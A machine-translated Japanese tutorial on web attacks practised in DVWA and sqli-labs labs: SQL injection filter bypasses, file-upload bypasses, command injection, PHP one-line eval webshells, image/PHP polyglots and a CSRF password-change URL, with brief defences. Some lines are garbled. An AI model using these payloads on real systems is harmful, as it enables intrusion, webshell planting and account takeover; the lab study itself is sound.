SQLインジェクションの詳しい解説 - セキュリティ編(第2部)

SQLインジェクションの詳しい解説 - セキュリティ編(第2部)

この記事に誤りがあったり、ご提案がありましたら、お気軽にご連絡ください。よろしくお願いいたします。
はじめに: 過去 2 日間の SQL インジェクションの初期学習に基づいて、Metasploitable-Linux 環境での練習を続けます。
1. 先ほど SQL インジェクションについて学習したので、もちろんそれを防ぐ必要があります。ウェブインジェクションは非常に有害であるため、さまざまな防御技術が次々と登場しています。

1. プログラマーは、コードを書くときに、Web インジェクションをブロックするために意識的に防御を設定したり、セキュリティ テストを実行したりします。
2. 大手セキュリティベンダーが製造するハードウェアまたはソフトウェアWAF製品

ブラックリストフィルタリング技術

1. SQL キー フィールド内の一般的なキーワードをフィルターします: and、or、union all select、引用符、スペースなど。フィルター処理ではなく、エスケープ関数を使用したり、不正なキーワードを削除したりする同様の手法もあります。

バイパス方法:

  1. 1. ケースの歪み (id=-1 UniOn seleCt 1,2,3……)
  2. 2. エンコード: 16進コード、URLコード
  3. 3. コメント '/または/'
  4. 4. フィルターの交換(and–&&、or–||)
  5. 5. 切り捨て

2. ファイルアップロードの脆弱性

インターネットを閲覧するとき、アバター画像のアップロード、ファイルのアップロード、動画のアップロードなど、ファイルのアップロード機能を頻繁に使用します。これは通常の機能であることはわかっていますが、アップロードされた後にサーバーがこれらのファイルをどのように処理または解析するかについて考えたことはありますか?アップロードされたファイルを処理する際にサーバーが十分に安全でない場合、次のようなセキュリティインシデントにつながります。サーバーが実行するWebスクリプトファイルをアップロードする

  1. (1)トロイの木馬ウイルスファイルをアップロードして、ユーザーや管理者にダウンロードを促し、
  2. (2)フィッシングファイルをアップロードする
  3. (3)偽造文書のアップロード

ファイルアップロードの脆弱性コア

ファイルアップロード攻撃が成功するには、通常、次の 2 つの要素が満たされている必要があります。

  1. (1)Webshel​​lファイルをサーバーに正常にアップロードできる
  2. (2)ファイルはサーバーによって解析されるか、アップロードされたファイルにアクセスすることができる。

コアの実装 - アップロードバイパス技術

一般的に、ファイルをアップロードする際に使用される検出手法は次のとおりです。

  1. (1)クライアントサイドJavaScript検出(通常はファイル拡張子の検出)
  2. (2)サーバー側MIMEタイプ検出(Content-Typeコンテンツの検出)
  3. (3)サーバディレクトリパス検出(パスパラメータに関連するコンテンツの検出)
  4. (4)サーバー側ファイル拡張子検出(ファイル拡張子に関連するコンテンツの検出)
  5. (5)サーバー側ファイル内容検出(内容が合法か悪意のあるコードが含まれているか検出)

クライアント側検出バイパス(JavaScript 検出)

このタイプの検出には通常、ファイルのアップロードを具体的に検出するアップロード ページの JavaScript コードが含まれます。最も一般的なのは、拡張子が合法かどうかを検出することです。このタイプのバイパスは非常に簡単です。
方法: Webshel​​l ファイル (shell.php など) を作成 -> それを有効な拡張子 (shell.png) に変更 -> Burp がそれをインターセプトして (shell.php) に変更 -> アップロード

サーバー側検出バイパス(MIME タイプ検出)

この検出はサーバー上で実行され、主なチェックはコンテンツ タイプ値 (ホワイトリストまたはブラックリスト) です。もちろん、このバイパスも簡単です。
方法: Web シェル ファイル (shell.php、Content-Type: text/plain など) を作成 -> Burp インターセプションを (sontent-Type: image/gif) に変更 -> アップロード

サーバー検出バイパス(ディレクトリパス検出)

この検出はサーバー上で実行され、通常はパスが正当かどうかをチェックしますが、少し特殊なパスについては防御策がありません。 たとえば、shell.php.[\0].png [\0], 123.php0x00.png の場合、0x00 は PHP および C 言語の切り捨て文字です。つまり、サーバーがファイルを読み取って shell.php の読み取り時に [\0] に遭遇すると、ファイルは終了され、shell.php として実行されます。 同様の投稿送信ファイルshell.php%00.pngもあります
注: バックグラウンド検出を回避するには、必要なファイル拡張子を指定して、実際のサフィックスを切り取るだけです。

サーバー側検出バイパス(ファイル拡張子検出)

名前が示すように、通常はホワイトリストとブラックリストの防御を通じてファイル拡張子をチェックします。

1. ブラックリスト。たとえば、拡張子には html、php、php3、php4、asp、exe、bat、jsp を含めることはできません。また、ファイル名の大文字と小文字を区別しないため、AsP、pHp などのファイル名を使用してブラックリスト検出を回避します。

  1. (1)リストバイパス:ブラックリストに載っていないASAやCERなどのリストを使って攻撃する
  2. (2)特殊なファイル名でバイパスする。例えば、送信したhttpパッケージ内のファイル名をtest.asp.やtest.asp_(アンダースコアはスペースを表す)に変更する。この命名方法はWindowsシステムでは許可されていないため、burpなどで修正する必要がある。検証をバイパスした後、末尾のドットとスペースはWindowsシステムによって自動的に削除される。ただし、Unix/Linuxシステムにはこの機能がないので注意すること。
  3. (3)htaccessファイル攻撃とリストバイパスを組み合わせると、カスタム.htaccessをアップロードすることで、さまざまな検出を簡単にバイパスできます。
  4. (4)パーシングコール/脆弱性バイパスこのタイプの脆弱性は、コードが挿入された非ブラックリストファイルをアップロードし、パーシングコール/脆弱性を使用するだけでバイパスできます。
  5. (5)ホワイトリスト検出

2. ホワイトリストはブラックリストよりも比較的安全ですが、必ずしも絶対的に安全というわけではありません。

(1)0x00切り捨てバイパス

ホワイトリストファイルに属するtest.asp%00.jpgを切り捨てる方法を使用し、サーバーコードの検出ロジックの脆弱性を利用して攻撃します。現在、この脆弱性に遭遇したのは、aspプログラム+解析呼び出し/脆弱性バイパスのみです。このタイプの脆弱性は、コードインジェクションを含むホワイトリストファイルを直接アップロードし、解析呼び出し/脆弱性を利用して攻撃することができます。

(2).htaccessファイル攻撃

PHP マニュアルの move_uploaded_file セクションには、「宛先ファイルがすでに存在する場合は上書きされます」という警告があることが記載されています。PHP のセキュリティが適切に設定されていない場合は、move_uploaded_file 関数を使用して、サーバー上の .htaccess ファイルを独自のファイルで上書きすることができます。この方法では、解析リストを任意に定義できます。

サーバー側検出バイパス(ファイル内容検出)

ファイル内容の検出をより厳しく設定すれば、アップロード攻撃は非常に困難になります。コード層での検出の最終段階とも言えます。これを破ると、コード層に脆弱性がなくても、後でアプリケーション層の解析脆弱性を悪用する機会をもたらすことになります。

(1)ファイルマジックナンバーチェックは、主にファイルコンテンツの先頭にあるファイルマジックナンバーを検出します。たとえば、jpgをバイパスするには、値 = FF D8 FF E0 00 10 4A 46 49 46 になります。 gif ファイルのマジックナンバー検出をバイパスするには、値 = 47 49 46 38 39 61 png ファイルのマジックナンバー検出をバイパスするには、値 = 89 50 4E 47

(2)ファイル関連情報の検出

getimagesize() 関数は、画像ファイル関連情報を検出するためによく使用されます。ファイル ヘッダー部分を偽造するだけで済みます。つまり、マジック ナンバーに基づいて、ファイル情報が追加されます。次の構造に少し似ています。

動画

(...画像用のバイナリデータ...)
 <?php phpinfo(); ?>
(... 残りのバイナリ データはスキップします...)

(3)ファイル読み込み検出

これは最も異常な検出です。一般的には、API または関数を呼び出してファイル読み込みテストを実行します。最も一般的なのは、イメージ レンダリング テストです。さらに異常なのは、二次レンダリングを実行することです。レンダリング/読み込みテストに対する攻撃方法は、コード インジェクション バイパスです。二次レンダリングに対する攻撃方法は、ファイル ローダー自体を攻撃することです。

三つ、

1. (1) 以下の対応するURLをコピーし、「URLの読み込み」をクリックしてから「実行」をクリックします。


(2)クロージャを構築し、データベース名dvwaを取得します。次に、前のルーチンに従って、システムがエラーを報告していることを確認します。エラーメッセージは次のとおりです。



システムが自動的に \ 記号を追加します。これは、構築された関数でエラーが発生したことを意味します。システムがコンストラクターに特殊記号を自動的に追加しないように、この現象を回避する必要があります。この場合、16 進コードを使用して文字列 dvwa を 16 進数 (0x...) に変換し、コンストラクターで単一引用符記号が使用されないようにすることができます。この時点で、システムはコンストラクターに特殊文字を自動的に追加しなくなり、コンストラクターが破壊されます。

(3)同様に、先ほど使用したSQL文を使用してデータを抽出します。

2. Less-25を例に挙げる

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+ //エコーに従ってクロージャを構築し、database() をバーストします

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name and table_schema = database()--+ //テーブル名 table_name、列名 column_name を公開します

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+ //Blastデータ

要約: まず、閉じた入力を連続的に構築し、エコーを観察します。システムが「and」文字列と「+」(+はスペースバーに相当)をフィルタリングしていることがわかります。

次に、大文字と小文字を混在させた and を使用したり、インターレースで不連続な and を使用したり、and の代わりに && などの他の文字を使用したり (主な目的は and を使用すること)、16 進コードまたは urlencode 変換メソッドを使用したりできると推測します。同様に、単語 (information など) に出現する文字列 "or" や or にも上記のメソッドを使用できます。鍵となるのは、システムのフィルタリングを回避し、特定の目的を達成することです。

3. Less-26を例に挙げる

and 文字は Less-25 と同じです。フィルター処理されるスペースは、%20 -- スペース、または TAB キーのエンコーディング、または改行キーのエンコーディングになります。

4. http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/ を例に挙げます。インターフェースは次のようになります。これは ping 可能なインターフェースです。


このインターフェースには脆弱性があり、ping中に接続シンボルを使用して他のアクションを完了することができます。入力バーに127.0.0.1 || pwdと入力すると、次の状況が発生します。


現在のファイルディレクトリがインターフェースに表示され、この脆弱性を利用して必要なデータを取得できます。ここでは「ワンセンテンストロイの木馬」について説明します。

エコー '<?php @eval($_POST[123]);?>' > 123.php

[被害者に発見されないようにするために、他の形式の文章が「一文トロイの木馬」と一緒に使用されることもあります。

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

4. ファイルのインクルードとファイルのアップロードを組み合わせて攻撃を実行する

(1)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「低」に選択します。
次に、ファイル アップロードは 1 行のトロイの木馬を含む .php ファイルをアップロードし、既知のディレクトリを通じて China Chopper に情報を追加してすべてのディレクトリを取得します。この時点で、ファイルは改ざん、削除、アップロードなどされる可能性があります (ファイル名を 123.png0x00.php に変更することで回避できる場合もあります。ここで 0x00 は名前の末尾を表します)。

Chinese Chopper を使用して次のコードを追加します: echo '<?php @eval($_POST[123]);?>' > 123.php

その後、次のようにして China Chopper からディレクトリを取得できます。

(2)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「中」に選択します。
現時点では、.phpファイルをアップロードするとエラーが出てアップロードできないため、トロイの木馬ファイルの形式をアップロードをサポートする形式に変更します。png形式のファイルにはトロイの木馬があります。ここではpng形式を例に挙げます。


ブラウザプロキシを手動で設定する



BurpLoader を起動し、キャプチャしたパケットの名前を変更します。


次に、「アクション」->「リピーターに送信」を選択し、「リピーターで実行」をクリックします。右側のウィンドウを確認すると、ファイルがアップロードされていることがわかります。China Chopper を開き、前の手順に従ってアクセスします。

(3)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「高」に選択します。

まず、画像がアップロードされているのがわかったら、アップロードされた画像が処理されている(文章トロイが追加されている)はずです。つまり、画像エンコードツール winhex を開き、エンコードツールに文章トロイを追加して、新しいエンコードされた画像を再生成します。

もちろん、cmd コマンドを使用することもできます: copy 1.png/b+123.php /a TCP.png。ここで、1.png は通常の画像で、123.php は文章トロイの木馬です。これらを TCP.png という名前の新しい画像に再構成し、アップロードすると成功します (上記の cmd が使用されます)。

画像をアップロードした後は、中レベルのようにキャプチャしたり名前を変更したりすることはできません。 Web サーバー側で対応するセキュリティ処理が必要です。
現時点では、手動でトリガーする必要があります (もちろん、攻撃を受けたシステム管理者が画像をクリックしてトリガーするのを待つこともできます)。トリガーした後、同じ方法を使用して China Chopper を開き、ディレクトリを取得できます。

5. 異常なレベルに対処するためのアイデア:

アップロード前とアップロード後に変更されていない部分を比較して観察し (バイナリ異常を通じて)、アップロードされたデータに特定の変更を加えて特定の目的を達成します。
その他の攻撃方法:

  1. 1. http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/ を例にとります。画像内にトリガー命令を記述します。管理者がコマンドを入力すると、画像が実行され、画像内に含まれるコードが実行されます。つまり、よく使用されるトリガー命令があらかじめ埋め込まれているのです。
  2. 2. 攻撃対象となるシステムのデフォルトの一時ファイル保存場所を特定し、ファイルの内容を変更して(たとえば、ファイルにトロイの木馬の文章を含む実行ファイルを追加するなど)、目的の効果を達成します。
  3. 3. アップロードされたファイルのファイル名を自動的に変更するシステムの場合、アップロードした非実行ファイルを実行できなくなります。このとき、デバイスにはファイル処理の限界があるため、同じファイルを毎秒高頻度で送信し、バックグラウンドで 1 つまたは 2 つのファイルのファイル名を変更する時間がないようにして、ファイル名が変更されないようにすることができます。その後、ファイルにアクセスできる場合は、それを実行して攻撃することができます。

6. CSRF: クロスサイトリクエストフォージェリ(Cookie 値の使用)

被害者を騙してリンクをクリックさせるためのURLを作成し、被害者のCookieを使用して被害者が知らないうちにパスワードを変更できるようにする

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

例えば、ハッカーが自分のアカウントのパスワードを使用してウェブサイトにログインし、パスワード変更インターフェイスをクリックして、パスワード変更 URL を作成します。ハッカーが攻撃を開始したい場合、被害者 (以前にブラウザを使用してウェブサイトにログインし、ブラウザに Cookie を保存している) に、以前に作成した URL をクリックするように誘導し、被害者に知られずにパスワードを変更します。ハッカーはこのパスワードを知っています。この時点で攻撃が成功すると、ハッカーは以前に URL を作成するときに作成したパスワードを使用して、被害者としてウェブサイトにログインし、一連の操作を実行できます。

現在の防御策の一部:

1. 防御のために認証コードを使用できます

2. パスワードを変更するために元のパスワードを要求するウェブサイト

3. 防御方法: ダウングレード時にリファラーなし

ある Web サイトから別の Web サイトにリンクすると、新しい HTTP リクエストが生成されます。リファラーは、HTTP リクエスト内のソースを示すフィールドです。
no-referrer-when-downgrade は、https プロトコルが http プロトコルにダウングレードされたときに、リダイレクトされた Web サイトのサーバーにリファラーが送信されないことを意味します。

4. 偽造防止メカニズムのトークンは、Cookie とは異なり、ほとんどの CSRF 攻撃をブロックできます (誰もが偽造防止コードを持っており、他の人はそれを推測できません。パスワードを変更する場合は、独自のトークンを使用する必要があります) - トークンは不規則である必要があり、できれば暗号化されている必要があります。

上記は、エディターが紹介した詳細な SQL インジェクション セキュリティ統合です。皆様のお役に立てれば幸いです。ご質問がある場合は、メッセージを残してください。エディターがすぐに返信します。また、123WORDPRESS.COM ウェブサイトをサポートしてくださっている皆様にも感謝申し上げます。

以下もご興味があるかもしれません:
  • MySQLインジェクションセキュリティ問題の簡単な分析
  • Python 操作 sqlite3 高速かつ安全なデータ挿入 (アンチインジェクション) の例
  • PHP 開発における一般的なセキュリティ問題 (SQL インジェクション、CSRF、Xss、CC など) の詳細な説明と解決策。
  • PHP SQLインジェクション実装(テストコードのセキュリティは良好)

<<:  Vue3.0でカスタム命令を書くための簡単な手順

>>:  Centos7 から Centos8 へのアップグレードに関するチュートリアル (画像とテキスト付き)

推薦する

複数のドメイン名に対する Nginx リバース プロキシを使用した HTTP および HTTPS サービスの実装

現在、Nginx は、Web サービスを提供するために、Windows ベースの IIS と Lin...

MySQL: データの整合性

データ整合性は、エンティティ整合性、ドメイン整合性、参照整合性に分けられます。参照整合性:参照整合性...

30 種類の無料の高品質英語リボンフォント

30 種類の高品質な英語リボン フォントを無料でダウンロードできます。デザイナーは常に、25 種類の...

CSS3 は 3D キューブの読み込み効果を作成します

簡単な説明これは CSS3 のクールな 3D キューブのプリロード効果です。この特殊効果は、シンプル...

Robots.txtの詳細な紹介

robots.txt の基本的な紹介Robots.txt はプレーンテキスト ファイルであり、Web...

MAC+PyCharm+Flask+Vue.js ビルドシステム

目次node.js+nvm+npm を設定するnpmスイッチタオバオミラーVue.jsをインストール...

MySQLからMariaDBへのスムーズな移行のための詳細な手順

1. MariaDB と MySQL の紹介1. MariaDB の紹介MariaDB は、MySQ...

MySQL 5.7 インストール MySQL サービスを開始できませんが、サービスはエラーを報告しません

MySQL 5.7 をインストールするには 2 つの方法があります。1 つはインストーラをダウンロー...

Linux manコマンドの具体的な使い方

01. コマンドの概要Linux には充実したヘルプ マニュアルが用意されています。コマンドのパラメ...

Linuxサーバ侵入緊急対応記録(概要)

最近、お客様から支援の依頼を受けました。管理されている通信コンピュータ ルームから、サーバーの 1 ...

実践的な経験を共有するためのコードチェックツールstylelintの紹介

目次序文文章1. stylelintをインストールする2. 設定ファイル3. stylelintを使...

MySQLの起動失敗の解決策

MySQLの起動失敗の解決策MySQLを起動できませんmysqlを停止した後、いくつかの操作(ホスト...

MYSQLの文字セット設定方法(端末の文字セット)の詳しい説明

序文ターミナルを使用してデータベースまたはテーブルを作成するたびに、文字セットが latin1 であ...

共通要素のデフォルトのマージンとパディング値に関する議論

今日は、さまざまなブラウザでのデフォルト要素のマージン値が何であるかという問題について説明しました。...

HTMLのマーキータグは、シームレスなスクロールマーキー効果を実現します。

<marquee> タグはペアで表示されるタグです。最初のタグ <marquee...